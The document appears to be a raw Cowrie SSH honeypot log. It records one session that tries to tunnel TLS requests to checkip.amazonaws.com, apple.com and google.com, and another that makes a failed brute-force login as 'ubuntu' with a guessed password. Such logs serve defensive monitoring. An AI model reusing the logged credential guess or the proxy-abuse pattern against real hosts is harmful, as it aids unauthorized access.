{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"13.228.145.236","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 13.228.145.236:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:36.320019Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"13.228.145.236","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\\\\\xbe\\xe1\\x17\\xca9\\x11\\xdbm\\xff\\xae\\x04\\x10h\\x005B\\xcb\\xe2\\x90\\xd4\\x03\\xbf\\x03\\xd4b'\\xfdbj\\xf2 0s#z\\\\dA9\\xe9\\xeb\\xca)\\xbbffy\\xf5@\\x8b\\xaaC\\x7f\\x1c\\xcc\\x99\\xf7\\xe6\\x91\\x18J\\xf9\\xd1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\x99I\\x01\\x86]\\xc2\\x9a\\xe0\\x7f\\x81c\\xa5\\x98Q\\xe8\\x8ak\\xb936\\x0cp\\x85|\\x9fS$\\x8cm\\x8b \\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 13.228.145.236:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\\\\\xbe\\xe1\\x17\\xca9\\x11\\xdbm\\xff\\xae\\x04\\x10h\\x005B\\xcb\\xe2\\x90\\xd4\\x03\\xbf\\x03\\xd4b'\\xfdbj\\xf2 0s#z\\\\dA9\\xe9\\xeb\\xca)\\xbbffy\\xf5@\\x8b\\xaaC\\x7f\\x1c\\xcc\\x99\\xf7\\xe6\\x91\\x18J\\xf9\\xd1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\x99I\\x01\\x86]\\xc2\\x9a\\xe0\\x7f\\x81c\\xa5\\x98Q\\xe8\\x8ak\\xb936\\x0cp\\x85|\\x9fS$\\x8cm\\x8b \\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:36.323357Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.32.24.235","dst_port":443,"src_ip":"77.90.185.17","src_port":37756,"message":"direct-tcp connection request to 23.32.24.235:443 from 127.0.0.1:37756","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:36.633680Z","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.32.24.235","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.32.24.235:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:36.782867Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.32.24.235","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Wv\\xe3\\x0cKb\\xad\\xb4\\xe1\\xed\\xa5\\x04\\xd9=\\xfc\\xc2\\xf4L\\x96\\xb6\\xbfat\\tJ.\\x1b\\x9d\\x19r\\xb4\\x84 QE\\xeb\\xd2&n\\x99\\xd1\\x153\\xf1\\xd2g\\xc0\\x84%\\x94\\xc7 \\xb0\\xd8\\x0b\\x92]71\\x80\\xe3\\\\\\x0b\\xd7{\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 [\\xf8ih\\xeeM\\xff8\\x02n\\x15\\xf7\\xd4\\xd7\\xef\\xb6\\x06NN~\\xe5]\\xb9\\xbc\\x9f\\x14(\\x90'\\xf0\\x14O\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.32.24.235:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Wv\\xe3\\x0cKb\\xad\\xb4\\xe1\\xed\\xa5\\x04\\xd9=\\xfc\\xc2\\xf4L\\x96\\xb6\\xbfat\\tJ.\\x1b\\x9d\\x19r\\xb4\\x84 QE\\xeb\\xd2&n\\x99\\xd1\\x153\\xf1\\xd2g\\xc0\\x84%\\x94\\xc7 \\xb0\\xd8\\x0b\\x92]71\\x80\\xe3\\\\\\x0b\\xd7{\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 [\\xf8ih\\xeeM\\xff8\\x02n\\x15\\xf7\\xd4\\xd7\\xef\\xb6\\x06NN~\\xe5]\\xb9\\xbc\\x9f\\x14(\\x90'\\xf0\\x14O\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:36.786605Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"77.90.185.17","src_port":38226,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:38226","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:37.062718Z","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:37.453460Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xfa\\x96\\x10\\xcd\\x15s\\xb997\\xfb\\x08\\xc5\\x04\\x0e\\xebG^O\\xc9/1>\\xdb~\\xbd\\xa8\\xa1\\xf8\\xb1\\xcci \\xa5\\xa5\\xe2\\xe9\\xca\\xbd\\xc6\\xc4{\\xe8\\xb0^OH[\\xae\\x82\"\\xfc:!t\\xcc\\xd1\\xde\\xfdQ\\x8b\\x0b\\x91\\x19,\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\xad\\xef\\xb7\\xb4s!1P\\x9d\\xe0d\\xcb\\x992\\x0f\\xb2[;\\xa1I\\xb1\\xb4\\xcc\\xcb\\xe0Gi4F\\x18e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xfa\\x96\\x10\\xcd\\x15s\\xb997\\xfb\\x08\\xc5\\x04\\x0e\\xebG^O\\xc9/1>\\xdb~\\xbd\\xa8\\xa1\\xf8\\xb1\\xcci \\xa5\\xa5\\xe2\\xe9\\xca\\xbd\\xc6\\xc4{\\xe8\\xb0^OH[\\xae\\x82\"\\xfc:!t\\xcc\\xd1\\xde\\xfdQ\\x8b\\x0b\\x91\\x19,\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 0\\xad\\xef\\xb7\\xb4s!1P\\x9d\\xe0d\\xcb\\x992\\x0f\\xb2[;\\xa1I\\xb1\\xb4\\xcc\\xcb\\xe0Gi4F\\x18e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:37.456924Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:37.759305Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48616,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aa140519c1d","protocol":"ssh","message":"New connection: 2.57.122.208:48616 (159.203.135.109:22) [session: 5aa140519c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:58.202356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:58.251176Z","src_ip":"2.57.122.208","session":"5aa140519c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:58.357476Z","src_ip":"2.57.122.208","session":"5aa140519c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:58.925884Z","src_ip":"2.57.122.208","session":"5aa140519c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:09:00.086087Z","src_ip":"2.57.122.208","session":"5aa140519c1d","protocol":"ssh"}
